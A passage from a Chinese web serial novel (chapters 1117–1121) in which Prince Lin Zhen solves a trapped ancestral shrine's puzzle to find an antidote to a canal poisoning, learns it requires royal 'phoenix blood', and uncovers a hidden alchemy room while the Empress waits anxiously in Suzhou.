林臻正面临着一场前所未有的危机。 孔家的祖宅,并不难找。但当林臻带领“夜枭”赶到时,才发现,这里早已人去楼空。整个宅子,被设置成了一个巨大的、环环相扣的连环陷阱! 毒气、流沙、翻板、弩箭…… 各种阴毒歹毒的机关,层出不穷,防不胜防。 饶是“夜枭”的死士们身经百战,在闯关的过程中,也付出了惨重的代价。 当林臻终于带着仅剩的数十人,杀到祖宅最深处的祠堂时,他才发现,真正的考验,才刚刚开始。 祠堂的中央,摆放着一个巨大的八卦石台。石台之上,刻着密密麻麻的、如同蝌蚪一般的古怪文字。而解药的方子,就藏在石台的机关之中。 想要拿到方子,就必须解开这个由奇门遁甲之术布下的,千古难解的死局! 而更要命的是,他们在祠堂的角落里,发现了一具早已冰冷的尸体。 ——正是孔志谦派来投毒的那个死士,赵四。 他已经死了。 在他尸体的旁边,还留着一行用血写下的字: “林臻,游戏,才刚刚开始。” 第1117章 凤凰血 林臻的目光死死地钉在石台之上。 那座巨大的八卦石台,仿佛一头沉默的巨兽,匍匐在祠堂的中央,散发着古老而诡异的气息。 上面刻着的那些扭曲的、像是鬼画符一样的文字,看得人头晕眼花,心里发毛。 他身后的“夜枭”死士,还能站着的,只剩下不到五十人。 每一个人都带着伤,每一个人的呼吸都粗重如牛。 他们刚刚从外面那层层叠叠的、要人命的机关陷阱里杀出来,体力早已透支。 可现在,他们却要面对一个比任何刀山火海都更让人绝望的困境。 时间。 他们没有时间了。 林臻的脑子里,像是有无数只蜜蜂在嗡嗡作响。 京杭大运河,数千万百姓……这些字眼,像是一座又一座的大山,压得他喘不过气来。 他强迫自己冷静,可捏着剑柄的手,却还是忍不住地颤抖。 “王爷,这……这是什么鬼东西?”鬼影凑了上来,他的声音沙哑,一条胳膊用布条胡乱地吊在胸前,显然是刚才闯机关的时候受了重伤。 林臻没有回答,他的目光,从那诡异的石台,移到了角落里那具早已僵硬的尸体上。 赵四。 孔志谦的死士。 这个混蛋,在完成了投毒的任务后,竟然跑到这里来,干脆利落地自尽了。他用自己的命,和旁边那行用血写下的字,给了林臻一个最恶毒的嘲讽。 ——“林臻,游戏,才刚刚开始。” 林臻的牙齿咬得咯咯作响。 他明白了。 孔志谦这个疯子,从一开始就没打算让他们轻易拿到解药。 他布下的,是一个连环局,一个死局! 他用自己的死,来换取这个消息的传递,让林臻和慕容嫣陷入投鼠忌器的两难境地。 然后,他又用赵四的死,和这个该死的石台,来拖延时间。 他在赌,赌林臻解不开这个谜题。 他在赌,赌大乾的朝廷,撑不到林臻找到解药的那一刻! 只要时间拖得足够久,运河的剧毒就会彻底扩散,沿岸的百姓就会因为缺水而陷入混乱,届时,就算找到了解药,也为时已晚。 整个江南,乃至半个大乾,都将陷入万劫不复的深渊。 好狠!好毒! “王爷,我们砸了它!”一个满脸是血的“夜枭”汉子,提着刀,恶狠狠地说道,“管他什么八卦奇门,我们一斧子劈开,我就不信拿不到里面的东西!” “不行!”林臻立刻喝止了他。 他的目光,落在了石台的底座。 那里,连接着无数根比头发丝还细的金线,一直延伸到祠堂的四壁和顶梁。 “这是个连环机关。”林臻的声音,冷得像冰,“我们一旦用蛮力破坏石台,整个祠堂,都会在瞬间坍塌。我们所有人,都会被活埋在这里。而那解药的方子,也同样会毁于一旦。” 听到这话,所有人的心,都沉到了谷底。 砸,不行。 不砸,又解不开。 这他娘的到底该怎么办?! 所有人的目光,都集中在了林臻的身上。 在他们心中,这位年轻的王爷,就是无所不能的神。 只要有他在,就没有过不去的坎。 林臻感受到了身后那一道道带着期盼和信赖的目光。 他知道,他不能慌。他是所有人的主心骨,他要是慌了,那就真的全完了。 他深深地吸了一口气,强迫自己那颗因为愤怒和焦急而狂跳的心,慢慢平复下来。 他迈开步子,缓缓地绕着石台,走了一圈。 他的大脑,在飞速地运转。 孔志谦……奇门遁甲……死局…… 孔志"谦"出身儒家圣地,自幼饱读诗书,对诸子百家之学,都有涉猎。 尤其是对墨家机关术和道家阴阳五行之说,更是有着异乎寻常的痴迷。 这些情报,在林臻的脑海中,一一闪过。 这个石台,看似是一个解不开的奇门阵法,但林臻却隐隐觉得,事情没有那么简单。 孔志谦是一个极度自负,甚至自恋的人。 他设计的这个局,最终的目的,不是为了单纯地杀死林臻,而是为了……炫耀。 他要向林臻,向这个毁了他一切的男人,炫耀他的才智,炫耀他的高明。 他要让林臻在无尽的绝望和失败中,承认他孔志谦,才是这个世界上最聪明的人。 所以,这个局,一定有解! 解开它的关键,不在于奇门遁甲之术,而在于孔志谦这个人本身! 林臻的目光,再次落到石台上那些古怪的文字上。 他一个字也不认识,但他却发现,这些文字的排列,似乎有着某种特殊的规律。 他蹲下身,伸出手指,轻轻地触摸着那些冰冷的文字。 突然,他的手指,在其中一个文字上,停住了。 那个字,比其他的字,都要刻得更深一些。而且,它的形状…… 林臻的瞳孔,猛地一缩! 他认得这个形状! 这不是什么古老的文字,这是……这是孔家府邸后花园里,那座假山的形状! 他年少时,曾经作为宾客,去过一次曲阜孔家。 他对那座造型奇特的假山,印象极为深刻。 一个大胆的念头,瞬间从他脑海中跳了出来! 这些所谓的“古文字”,根本不是什么阵法符文!它们是……一幅地图!一幅被拆解得支离破碎的,孔家祖宅的地图! 而解开这个机关的关键,就在于,按照正确的顺序,将这幅地图,重新拼接起来! 可正确的顺序又是什么? 林臻的目光,在石台上来回扫视。 突然,他看到了石台的正中央,那个八卦图的“阴阳鱼”眼的位置。那里,刻着两个小得几乎无法察觉的字。 “生”与“死”。 林臻的心脏,猛地一跳! 他想起了孔志谦在漠北王庭,对乌维说的那番话。 ——“用南人自己的方式,来对付南人。” ——“君臣、父子、纲常、伦理……” 孔家,最重的是什么? 是礼法,是传承,是宗祠! 孔家的祠堂里,牌位的摆放,必然有着严格的顺序! 生者与死者,长辈与晚辈,嫡出与庶出…… 这个石台,就是孔家的祠堂! 这些文字,就是孔家的牌位! 而解开这个局的顺序,就是孔家祠堂里,牌位摆放的顺序! “鬼影!”林臻突然大喝一声。 “属下在!” “你还记不记得,我们之前审问过的那个孔家的旁支子弟?他有没有提过,孔家祠堂的牌位,是如何摆放的?” 鬼影闻言一愣,随即眼中精光一闪! 他立刻回答道:“回王爷!属下记得!那人说过,孔家祠s堂的牌位,以正堂中轴为界,左昭右穆,以始祖为尊,按辈分由上至下,由亲至疏,依次排列!生者牌位不入正堂,供奉于偏殿!” “左昭右穆,以始祖为尊……”林臻喃喃地重复着这句话,眼中的光芒,越来越亮! 他找到了! 他终于找到了解开这个死局的钥匙! 他立刻走到石台前,深吸一口气,开始按照鬼影所说的顺序,依次按动石台上那些代表着“牌位”的文字。 每按下一个,石台内部,便会传来一声轻微的“咔哒”声。 所有人的心,都提到了嗓子眼。 他们屏住呼吸,紧张地看着林臻的每一个动作。 时间,一分一秒地过去。 林臻的额头上,渗出了细密的汗珠。他的动作,越来越快,越来越流畅。 终于,当他按下了最后一个文字时! “轰隆——” 整个石台,突然剧烈地晃动了一下,然后,从中间缓缓地裂开,露出了一个暗格。 暗格里,静静地躺着一张泛黄的、写满了蝇头小楷的羊皮卷。 解药方子! “拿到了!王爷!我们拿到了!” 幸存的“夜枭”们,爆发出劫后余生的巨大欢呼! 然而,林臻没有半分喜悦。 他拿起那张羊皮卷,只看了一眼,脸色便再次变得无比难看。 羊皮卷上,确实是解药的方子。 但是,其中最重要的一味主药,却只写了两个字。 ——“凤凰血”。 第1118章 凤凰血与龙血相对应 凤凰血? 这两个字,像两柄无形的重锤,狠狠地砸在了林臻的心上。 他只觉得一股血气,直冲脑门。 这个世界上哪里来的什么凤凰?更别提什么凤凰血了! 孔志谦这个疯子! 他到死,还要再摆自己一道! 这根本就不是什么解药方子,这是一个彻头彻尾的、恶毒的玩笑! “王爷,怎么了?”鬼影看着林臻的脸色不对,连忙上前问道。 林臻没有说话,只是将手中的羊皮卷,递给了他。 鬼影接过一看,也是瞬间愣住了。 “凤凰血……这……这他娘的是什么东西?!”他忍不住爆了一句粗口,“难道真要去天上抓条凤凰下来放血不成?!” 身后的那些“夜枭”们,也一个个凑过来看。 当他们看到“凤凰血”两个字时,脸上刚刚浮现出的喜悦,瞬间凝固,取而代代之的,是更深的绝望。 “完了……全完了……” “孔志谦这个王八蛋!他耍我们!” “数千万的百姓……就这么没救了吗……” 祠堂内,刚刚还因为找到解药而升起的希望,在这一刻,被彻底击得粉碎。 一股浓浓的、令人窒息的绝望,在所有人心中蔓延开来。 “都给本王闭嘴!” 就在所有人都陷入绝望之际,林臻突然发出了一声爆喝! 他的声音,如同平地惊雷,瞬间镇住了所有人。 众人抬起头,看到林臻那张虽然疲惫,却依旧挺得笔直的脊梁,和那双在昏暗中,燃烧着熊熊火焰的眼睛。 “哭丧呢?天还没塌下来!”林臻的声音,冰冷而有力,“孔志谦是什么人?他是一个自负到骨子里的疯子!他费尽心机布下这个局,留下这个所谓的‘解药’,绝不是为了跟我们开一个无聊的玩笑!” 他一把从鬼影手中,夺过那张羊皮卷,目光死死地钉在那“凤凰血”两个字上。 “他留下这三个字,一定有他的深意!他一定是在暗示我们什么!这个世界上,没有真正的凤凰,但是,有什么东西,可以被称为‘凤凰’?!” 林臻的大脑,如同被闪电击中,飞速地运转起来。 凤凰……、 一个让他自己都感到心惊肉跳的念头,猛地从他脑海深处,跳了出来! 难道……难道孔志谦所说的“凤凰血”,指的不是神话中的生物,而是…… 人血? 是拥有真凤凰之命的人的血?! 这个念头一出,林臻只觉得浑身一冷。 他立刻想到了慕容嫣! 她是当今大乾的女帝,是名正言顺的真凤凰天子! 孔志谦这个疯子,他最终的目的,难道是…… 他不敢再想下去。 如果真的是这样,那这个局,就比他想象的,还要恶毒百倍! 孔志谦不仅要用这场瘟疫,来动摇大乾的国本,他还要用这份解药,来逼死大乾的皇帝! 他要让慕容嫣,陷入一个两难的绝境。 要么,她选择牺牲自己,用自己的血,去救那数千万的百姓。 但如此一来,大乾将群凤无首,天下大乱,正中那些叛逆者的下怀。 要么,她选择保全自己,眼睁睁地看着数千万百姓,在剧毒的折磨中,痛苦地死去。如此一来,她将彻底失去民心,成为万民唾骂的昏君,她所建立的一切,都将毁于一旦! 无论她怎么选,都是死路一条! “畜生!!” 林臻想明白这一切,气得浑身发抖,一拳狠狠地砸在了身旁的石柱上! “轰!”的一声,坚硬的石柱,竟被他砸出了一道道蛛网般的裂纹。 他手上的骨节,瞬间皮开肉绽,鲜血淋漓。 但他却感觉不到一丝疼痛。 他只觉得,自己的心,像是被一只无形的大手,狠狠地攥住,疼得他几乎要窒息。 嫣儿…… 他怎么能让她,去面对如此残酷的选择? 他怎么舍得! “王爷!您冷静点!”鬼影等人看到林臻状若疯虎,连忙上前拉住他。 “滚开!”林臻一把将他们推开,双眼赤红,如同受伤的野兽。 不! 绝不能让嫣儿知道这件事! 绝不能让她去做那个选择! 一定还有别的办法!一定有! 林臻强迫自己冷静下来,他的目光,如同鹰隼一般,在整个祠堂内,疯狂地搜索着。 孔志谦既然留下了这个谜题,就一定还会留下其他的线索!他那种自负的性格,绝对会忍不住,在某个不起眼的角落,留下一点沾沾自喜的“提示”! 他的目光,最终,落在了祠堂正中央,那尊孔家始祖的牌位上。 那块牌位,是用最上等的金丝楠木制成,比其他的牌位,都要大上一圈,显得格外庄重。 林臻走上前,死死地盯着那块牌位。 突然,他发现,在牌位底座的背面,似乎刻着一行极小的字。 因为角度的原因,不仔细看,根本无法发现。 林臻立刻绕到牌位后面,蹲下身。 只见那上面,用一种极其工整的蝇头小楷,刻着一首诗。 “本是天涯客,偶落凡尘间。血染九重天,方得归真元。” 林臻看着这首没头没尾的、故弄玄虚的诗,眉头紧紧地锁了起来。 “本是天涯客,偶落凡尘间……” 这句诗,是什么意思? 天涯客…… 林臻的脑海中,突然灵光一闪! 他想起来了! 在他年少时,曾经听宫中的一位老太傅,讲过一个关于前朝的秘闻。 据说,前朝李氏的开国皇帝,并非是中原人士。 他的祖上,来自于遥远的西域,是一个神秘的、自称为“天涯客”的部族。 这个部族,有一个不为人知的秘密。他们的族人,血液中含有一种特殊的物质,使得他们的血液,在遇到某些特定的草药后,会呈现出一种淡淡的金色,并且,拥有百毒不侵的奇效。 因此,这个部族的族人,也被称为“天选之人”,他们的血,被称为“龙血”! 而前朝李氏皇族,正是这个部族的直系后裔! 所以,孔志谦所说的“凤凰血”,根本不是指什么真命之子,也不是慕容嫣。 他指的是,拥有前朝李氏皇族血脉的人的血! 而李显,那个被他扶持起来的前朝太子,不正是最纯正的李氏皇族血脉吗?! 林臻的心脏,狂跳起来! 他明白了! 孔志谦这个疯子,他从头到尾,就没想过要让李显那个草包当皇帝! 李显,从始至终,都只是他手中的一枚棋子!一枚用来搅乱天下,并且,在最后关头,用来充当“解药”的……药引子! 这个局,一环套一环,一计毒过一计! 孔志谦,他竟然把所有人都算计了进去! 林臻只觉得一股寒气,从脚底板,直冲天灵盖。 他现在终于知道,孔志谦那个疯子,为什么要在假死之后,还特意派人,将自己的“尸体”,运出城外了。 因为,他根本没想过要逃! 他的最终目的,是回到这里! 回到这个他布下了天罗地网的孔家祖宅! 他在这里,等着林臻,等着他解开这个谜题,然后,再告诉他这个残酷的真相! 他要亲眼看着林臻,陷入更深的绝望! 他要看着林臻,为了救天下百姓,不得不亲手去杀掉那个所谓的“前朝太子”! 他要让林臻,背上一个“为保江山而屠戮前朝血脉”的骂名! 第1119章 原来是李显 “夫君,你一定要平安回来。” 慕容嫣在苏州客栈内,心神不宁地踱步。自从林臻离开后,她就一直没有合过眼。 她身上依旧穿着那件作为唯一服饰的神凤降世裙,没有了霞帔的衬托,此刻的她,少了几分帝王的威严,多了几分属于妻子的、无法掩饰的焦虑。 极致玄黑的苏锦底料,在客栈昏暗的油灯下,仿佛一个深不见底的旋涡,将所有的光线都吸了进去。 这件以轻盈透气的苏锦-锦工艺织就的棉质睡裙,即便裙幅巨大,也丝毫感觉不到沉重,只是那柔软的布料贴着肌肤,带来一丝冰凉的触感。 因她心绪不宁,来回走动,那长达五丈的墨金色苏锦拖尾在她身后,于粗糙的木质地板上被拖曳、纠缠、堆叠,形成一片充满了焦躁与不安的、恣意的凌乱。 宽大的喇叭袖随着她的动作来回摆动,袖口繁复的金线流苏不时扫过地面,发出细微的声响。 杜如晦站在一旁,看着她这副模样,心中也是担忧不已。 “陛下,您已经一天一夜没有休息了。还是先去歇息片刻吧。王爷吉人天相,一定不会有事的。”他忍不住劝道。 “我睡不着。”慕容嫣嫣摇了摇头,她走到窗边,望着远方那片漆黑的群山,声音里带着一丝颤抖,“杜相,你说……他会不会有危险?” 杜如晦沉默了。 他不知道该如何回答。 孔家祖宅,机关重重,凶险万分。王爷虽然武功盖世,但终究是血肉之躯。 就在这时,房门被猛地推开。 一名“夜枭”的探子,连滚带爬地冲了进来,脸上满是惊恐和惶急。 “陛下!不好了!王爷……王爷他……” 慕容嫣只觉得眼前一黑,整个世界都在旋转。 “王爷他怎么了?!你快说!”她一个箭步冲上前,一把抓住那名探子的衣领,指甲因为用力,几乎要嵌进对方的肉里。 她的声音,因为极度的恐惧和惊慌,变得尖利而扭曲,再也没有了平日里半分的帝王仪态。 “回……回陛下……”那名探子被她的气势吓得魂不附体,哆哆嗦嗦地说道,“王爷……王爷他带着人闯进了孔家祖宅,但是……但是里面机关重重,我们的人,折损惨重!现在……现在王爷被困在最深处的祠堂里,出不来了!” “什么?!” 慕容嫣只觉得自己的心脏,像是被一只无形的大手狠狠地攥住,疼得她几乎无法呼吸。 被困住了? 怎么会?! 他是林臻啊!他是大乾的战神! 他是那个无所不能、永远都能为她遮风挡雨的男人!他怎么会被困住?! “立刻调集所有人马!不惜一切代价!给朕把那座该死的山,夷为平地!也要把王爷给朕救出来!”她几乎是嘶吼着下达了命令。 “陛下!不可!”一旁的杜如晦,在最初的震惊之后,立刻反应了过来,连忙上前拦住了她。 “陛下,您冷静点!”他苍老的声音,带着一丝颤抖, “孔家祖宅地处深山,地势险要,易守难攻。而且,孔志谦那贼子,既然敢设下陷阱,必然是做好了万全的准备!我们若是贸然派大军前往,非但救不出王爷,反而可能会落入敌人更大的圈套,造成无谓的伤亡啊!” “那你说怎么办?!难道就眼睁睁地看着他死在里面吗?!”慕容嫣凤眸赤红,像一头被激怒的母狮,死死地瞪着杜如晦。 她知道杜如晦说的是对的。 但道理她都懂,可她控制不住自己! 一想到林臻此刻可能正身陷险境,九死一生,她的心,就疼得像是要裂开一样。 她什么都顾不得了! 她只想救他! 立刻!马上! “陛下……老臣……”杜如晦被她那股不顾一切的疯狂气势给镇住了,一时间,竟说不出话来。 他知道,此刻的陛下,已经听不进任何劝告了。 就在这剑拔弩张的时刻,又一名“夜枭”的探子,如同一道黑色的闪电,冲进了房间。 “启禀陛下!王爷有密信传回!” 他单膝跪地,双手呈上一个用火漆密封的竹筒。 慕容嫣的心,猛地一跳! 她几乎是抢一般地,从那名探子手中夺过竹筒,因为手指颤抖,试了好几次,才将那火漆捏碎,从里面抽出一张小小的纸条。 纸条上,只有寥寥几个字,是林臻熟悉的、苍劲有力的笔迹。 “嫣儿,我无事。已得药方,然需一物为引。速将李显,押送至孔家祖宅。切记,严加看管,不可有失。勿念。” 看到“我无事”三个字,慕容嫣那颗悬到嗓子眼的心,才终于稍稍落下了一点。 她长长地舒了一口气,只觉得浑身的力气,都像是被抽空了一般,身体一软,向后倒去。 “陛下!”杜如晦大惊失色,连忙上前扶住她。 “我没事……”慕容嫣摆了摆手,示意自己不要紧。 她将那张纸条,紧紧地攥在手心,反复地看着。 药方找到了! 他没事! 巨大的喜悦,瞬间冲散了方才的恐惧。 但紧接着,更深的疑惑,又涌上了心头。 药引? 需要什么药引,竟然要将李显那个逆贼,亲自押送过去? 而且,林臻的字迹虽然依旧苍劲,但慕容嫣却能从那力透纸背的笔锋中,感受到一丝难以掩饰的急切和……疲惫。 他一定,是经历了常人难以想象的苦战。 “陛下,王爷他……”杜如晦看着慕容嫣变幻不定的脸色,试探着问道。 “夫君他没事。”慕容嫣深吸一口气,重新恢复了帝王的冷静与决断,“他已经找到了解药的方子,只是……需要李显去做药引。” “药引?!”杜如晦闻言,也是一脸的困惑。 “朕也想不明白。”慕容嫣摇了摇头,“但既然是夫君的命令,必然有他的深意。杜相,你立刻去办!” 她站直了身体,声音变得冰冷而威严。 “从‘夜枭’中,挑选两百名最顶尖的死士,由鬼影亲自带队,将李显那个逆贼,给朕毫发无损地押送到孔家祖宅!告诉鬼影,若是李显在路上,少了一根头发,朕就拿他的脑袋是问!” “是!老臣遵旨!”杜如晦不敢有丝毫怠慢,立刻领命而去。 房间里,又只剩下了慕容嫣一人。 她走到桌前,重新铺开那张江南地图,目光,落在了孔家祖宅所在的,那片连绵的群山之上。 她的手指,轻轻地,在那片区域上摩挲着。 夫君,你到底,在经历着什么? 那个所谓的“药引”,又到底是什么? 她想不明白。 但她知道,她现在唯一能做的,就是相信他。 无条件地,相信他。 …… 孔家祖宅,祠堂。 林臻盘膝坐在冰冷的石地上,闭目调息。 他身上的伤口,已经经过了简单的包扎,但失血过多,加上连日的奔波和苦战,让他整个人,都处在一种极度虚弱的状态。 他身边的几十名“夜枭”,也同样是个个带伤,神情萎靡。 但没有一个人,敢在这个时候,去打扰他们的王爷。 他们知道,王爷正在思考。 思考着,如何破这个局。 林臻的心,此刻却是一片空明。 在想通了孔志谦那个恶毒的计划之后,他心中的愤怒,反而渐渐平息了。 取而代之的,是一种冰冷的、如同机器一般的冷静。 他知道,孔志谦那个疯子,一定还在这里,就在这祠堂的某个角落,像一条毒蛇一样,窥视着他的一举一动。 他一定在等着,等着看自己绝望的样子,等着看自己抓狂的样子。 林臻偏不让他如愿。 他缓缓地睁开眼睛,目光,再次落到那首刻在牌位底座的诗上。 “本是天涯客,偶落凡尘间。血染九重天,方得归真元。” 第1120章 为什么杀我 血染九重天…… 九重天,指的自然是皇宫,是帝位。 这句诗,是在暗示,必须用皇室之血,才能得到真正的解药。 可是,他现在已经知道,所谓的“凤凰血”与“龙血”相对应,指的并非是慕容嫣的血,而是前朝李氏的血。 那这句诗,又该如何解释? 难道…… 林臻的脑海中,突然划过一道闪电! 他想到了一个被他忽略了的细节! 孔志谦在临死前,说解药的方子,藏在他老家的祖宅里。 可是,林臻他们拿到的,只是一张写着“凤凰血”为主药的羊皮卷。 真正的、详细的解药方子,根本不在这里! 这里,只是一个中转站! 一个用来揭示“凤凰血”秘密,并且,用来困住他的……陷阱! 而那句“血染九重天”,根本不是什么诗句! 这是一个启动机关的口令! 一个需要用前朝皇室之血,才能启动的机关! 这个机关的背后,藏着的,才是真正的解药! 或者说……是通往真正解药所在地的……线索! 想明白这一切,林臻的后背,瞬间被冷汗浸透。 好一个孔志谦! 这个疯子,他竟然算到了这一步! 他用一个假的解药方子,引诱自己将李显押送过来。 然后,再逼着自己,当着所有人的面,用李显的血,去开启下一个机关! 他要让自己,彻底坐实“屠戮前朝血脉”的罪名! 他要让自己,在天下人面前,百口莫辩! “王爷,您……您想到了什么?”鬼影看着林臻变幻不定的脸色,忍不住问道。 林臻没有回答他。 他只是缓缓地站起身,走到那尊始祖牌位前,伸出手,在那行血红的小字上,轻轻地抚摸着。 他的嘴角,突然,勾起了一抹冰冷的、嗜血的弧度。 “孔志谦,你以为,你赢定了吗?” 他低声自语,声音里,带着一丝令人心悸的疯狂。 “你千算万算,却算漏了一点。” “你以为,我林臻,会在乎什么狗屁的骂名吗?” “只要能救我的嫣儿,只要能救这天下的百姓,别说是一个前朝的太子,就算是神佛挡在我的面前,我也一样,杀给你看!” 他猛地转身,目光如电,扫过身后的所有“夜枭”。 “传令下去!” “所有人,原地休整!等!” “等我们的‘药引’,自己送上门来!” ...... 江南的局势,在慕容嫣一系列雷霆万钧又饱含仁德的手段之下,奇迹般地,被稳住了。 封锁运河带来的恐慌,在官府免费的粮食和清水的安抚下,渐渐平息。 那些被煽动起来的、对朝廷的不满情绪,在女帝亲自躬身谢罪、严惩国贼、减免赋税的巨大冲击下,也转化为了对这位年轻君主的、最真挚的拥护和爱戴。 百姓们或许不懂什么家国大义,但他们分得清,谁是真心对他们好,谁又是想把他们当成炮灰,推入战火的深渊。 苏州城内,原本那些躲在暗处,准备趁机作乱的地痞流氓、江湖势力,在看到那几颗血淋淋的、属于奸商的人头之后,也都一个个吓破了胆,偃旗息鼓,再也不敢有半点异动。 整个江南,仿佛被一只无形的大手,强行从沸腾的边缘,拉了回来。 客栈内,慕容嫣依旧穿着那身神凤降世裙,五张拖尾凌乱的铺在地上。 她坐在窗边,静静地看着楼下街道上,那些自发组织起来,帮助官府维持秩序、分发物资的百姓。 她的脸上,带着一丝欣慰的笑容。 “陛下,您看,民心可用啊。”杜如晦站在她的身后,苍老的脸上,满是感慨。 “是啊。”慕容嫣点了点头,“水能载舟,亦能覆舟。这个道理,朕今天,才算是真正明白了。” 她想起了林臻。 想起了他曾经对自己说过的那些话。 ——“嫣儿,当皇帝,不是坐在高高的凤椅上,发号施令就够了。你要走下去,走到你的子民中间去,去听他们的声音,去感受他们的喜怒哀乐。” 那时候,她还不太明白。 现在,她懂了。 “杜相,”她转过头,轻声问道,“夫君那边,还是没有消息吗?” 杜-如晦的脸上,闪过一丝忧色,但还是躬身答道:“回陛下,还没有。鬼影大人他们押送李显,进入深山之后,便也和我们失去了联系。想来,是山中地势复杂,阻碍了传讯。” 慕容嫣的心,又沉了下去。 已经三天了。 整整三天,音讯全无。 她不知道他在里面,到底遇到了什么。 她只知道,等待的每一分,每一秒,都是一种煎熬。 她甚至有些后悔,后悔当初为什么不跟着他一起去。至少,那样她还能陪在他身边,与他同生共死。 可是,她不能。 她是皇帝。 她必须留在这里,为他,也为这整个大乾,守好这片最重要的后方。 “陛下,您不必太过忧虑。”杜-如晦看出了她的担忧,连忙安慰道,“王爷他吉人天相,智勇双全,天下间,还没有什么能难得住他的。想必,很快就会有消息传回来了。” 慕容嫣勉强地笑了笑,没有说话。 她又何尝不知道林臻的本事? 可关心则乱。 只要一天没有他的消息,她的心,就一天也安不下来。 …… 与此同时,孔家祖宅,祠堂。 气氛,压抑到了极点。 林臻和剩下的几十名“夜枭”,已经在这里,被困了整整三天。 他们身上的干粮和清水,早已耗尽。 每个人都又饥又渴,疲惫到了极点。 不少人身上的伤口,因为没有得到及时的医治,已经开始发炎、化脓,散发着难闻的气味。 但没有一个人抱怨。 他们只是沉默地,靠在冰冷的墙壁上,擦拭着手中的兵器,用最坚韧的意志,对抗着饥饿与死亡的侵袭。 林臻站在祠堂的中央,一动不动,像一尊石化的雕像。 他的目光,始终没有离开过那尊孔家始祖的牌位。 他在等。 等李显的到来。 也同样在和那个已经死去的、却又仿佛无处不在的孔志谦,进行着一场无声的博弈。 他知道,孔志谦一定还留下了后手。 这个祠堂,绝不仅仅只是一个用来启动机关的场所。 这里,一定还隐藏着更深的、更致命的陷阱。 “王爷,水……” 鬼影挣扎着,从地上爬了起来,将自己水囊里剩下的最后一口水,递到了林臻的面前。 他的嘴唇,已经干裂得不成样子,脸上也因为失血而毫无血色。 林臻回头,看了他一眼,摇了摇头。 “你们喝吧。我没事。” “王爷!”鬼影的眼圈,瞬间红了,“您已经三天没有喝过一口水了!再这样下去,您的身体……” “我说我没事!”林臻的声音,不大,却带着一股不容置疑的威严。 他从鬼影手中,拿过那个水囊,走到一名已经因为脱水而陷入半昏迷状态的“夜枭”身边,撬开他的嘴,将那最后一口救命的水,灌了进去。 做完这一切,他重新走回祠堂中央。 “鬼影。” “属下在!” “如果……我是说如果,”林臻的声音,很平静,“一个时辰之内,我还没有找到出去的路。你就带着剩下的人,从我们来时的那条密道,突围出去。” “王爷!您说什么胡话!”鬼影闻言,噗通一声跪倒在地,声音哽咽,“属下就算是死,也要跟您死在一起!我们‘夜枭’,没有抛弃主帅,独自逃生的孬种!” “是啊!王爷!我们跟您一起死!” 剩下的几十名“夜枭”,也纷纷挣扎着,从地上站了起来,一个个目光决绝。 “这是命令!”林臻的语气,陡然变得严厉,“你们要活着出去!活着出去,告诉陛下,告诉郑帅,孔志谦的阴谋!告诉他们,解药的秘密!” “王爷……” “执行命令!” “……是!”鬼影含着泪,重重地磕了一个头。 就在这时,祠堂外,突然传来了一阵细微的、机关转动的声音。 所有人的精神,瞬间一振! 来了! 第1121章 秘密炼丹房 那震动来得是如此剧烈,整个祠堂都在嗡嗡作响,头顶的房梁上,灰尘簌簌地往下掉,仿佛下一秒就要彻底塌下来。 残月和刚刚赶到的两百名“夜枭”,被眼前这一幕吓得不轻,一个个都以为是触发了什么同归于尽的机关,下意识地便要举起手中的连弩,护在林臻身前。 “都别动!”林臻的声音,却在此时响起。 他的声音,因为失血过多而带着一丝虚弱,但那股不容置疑的威严,却让所有人的动作都为之一顿。 众人惊疑不定地看去,只见林臻依旧站在那尊孔家始祖的牌位前,他那只流着血的手,还死死地按在牌位之上。 鲜血,顺着牌位的纹路,不断地向下流淌,将那行用血写的小字,彻底染成了一片刺目的猩红。 而那剧烈的震动,并非来自祠堂的四壁,而是来自牌位本身! 在所有人的注视下,那尊巨大的、由整块金丝楠木雕刻而成的牌位,竟然从中间,缓缓地裂开了一道缝隙! 缝隙越来越大,最终,整个牌位向两边分开,露出了后面那面冰冷的、布满了青苔的石壁。 紧接着,“咔嚓,咔嚓”的机括转动声,从石壁内部传来。 石壁之上,一个与牌位等身大小的暗门,缓缓地向内凹陷,最终,形成了一个深不见底的、漆黑的通道。 一股阴冷、潮湿,带着浓重草药味和霉变气息的空气,从通道里扑面而来。 “王爷!这……”鬼影和残月等人,都看傻了。 谁也想不到,这孔家祠堂的牌位后面,竟然还别有洞天! 林臻没有说话,他只是用布条,胡乱地将自己手腕上的伤口缠了缠,然后,第一个,迈步走进了那片漆黑之中。 “王爷!”鬼影急了,连忙想要跟上去。 “你们留在外面,警戒!”林臻的声音,从黑暗中传来,带着不容置疑的命令,“没有我的命令,任何人,不许进来!” 他不知道这通道后面,还藏着孔志谦那个疯子留下的什么鬼东西。 他不能再让这些已经伤痕累累的弟兄们,跟着他一起去冒险了。 “可是……” “这是命令!” 鬼影和残月对视了一眼,都从对方眼中看到了无奈和担忧。 他们知道,王爷决定的事情,没有人能改变。他们只能躬身领命,带着所有人,守在了通道的入口处,一个个神情紧张,如临大敌。 通道很长,很黑。 林臻独自一人,拄着剑,深一脚浅一脚地往前走。 他能感觉到,自己身体里的力气,正在随着血液的流失,一点一点地被抽空。 他的头很晕,眼前阵阵发黑,每走一步,都像是在刀尖上跳舞。 但他不能停,更不能倒下。 他的脑子里,只有一个念头。 嫣儿还在等他。 数千万的百姓,还在等他。 他不知道自己走了多久,或许是一刻钟,或许是一个时辰。 就在他感觉自己快要撑不住的时候,前方,终于出现了一点微弱的光亮。 他精神一振,加快了脚步。 光亮越来越近,当他走出通道的尽头时,眼前豁然开朗。 这里,竟然是一间巨大的、完全由山体内部掏空而成的地下石室。 石室的四周,点着数十盏长明灯,将整个空间,照得亮如白昼。 石室的中央,摆放着一个巨大的炼丹炉,炉火早已熄灭,但空气中,依旧弥漫着一股浓重的药味。 而石室的四周,则是一排又一排高大的木架。 木架上,摆满了各种各样的瓶瓶罐罐,还有堆积如山的、用油纸包好的药材。 在石室最深处的一张石桌上,还散乱地放着大量的书籍、手稿和一些看起来奇奇怪怪的炼金工具。 这里,竟然是孔志谦的秘密炼丹房! 林臻强撑着身体,走到那张石桌前。 他拿起一本手稿,随意地翻了翻。 上面用一种极其潦草的字体,记录着孔志谦对于各种毒药和机关术的研究心得。 其中,就有关于那种投放在运河里的剧毒的详细记载。 这是一种被他命名为“离人泪”的复合型剧毒,无色无味,一旦进入水源,便会迅速分解,极难察觉。 中毒者初期不会有任何症状,但三天之后,毒性便会猛然爆发,破坏人的五脏六腑,最终在极度的痛苦中死去。 而在手稿的最后,林臻终于找到了他想要的东西。 “离人泪”的解药方子! 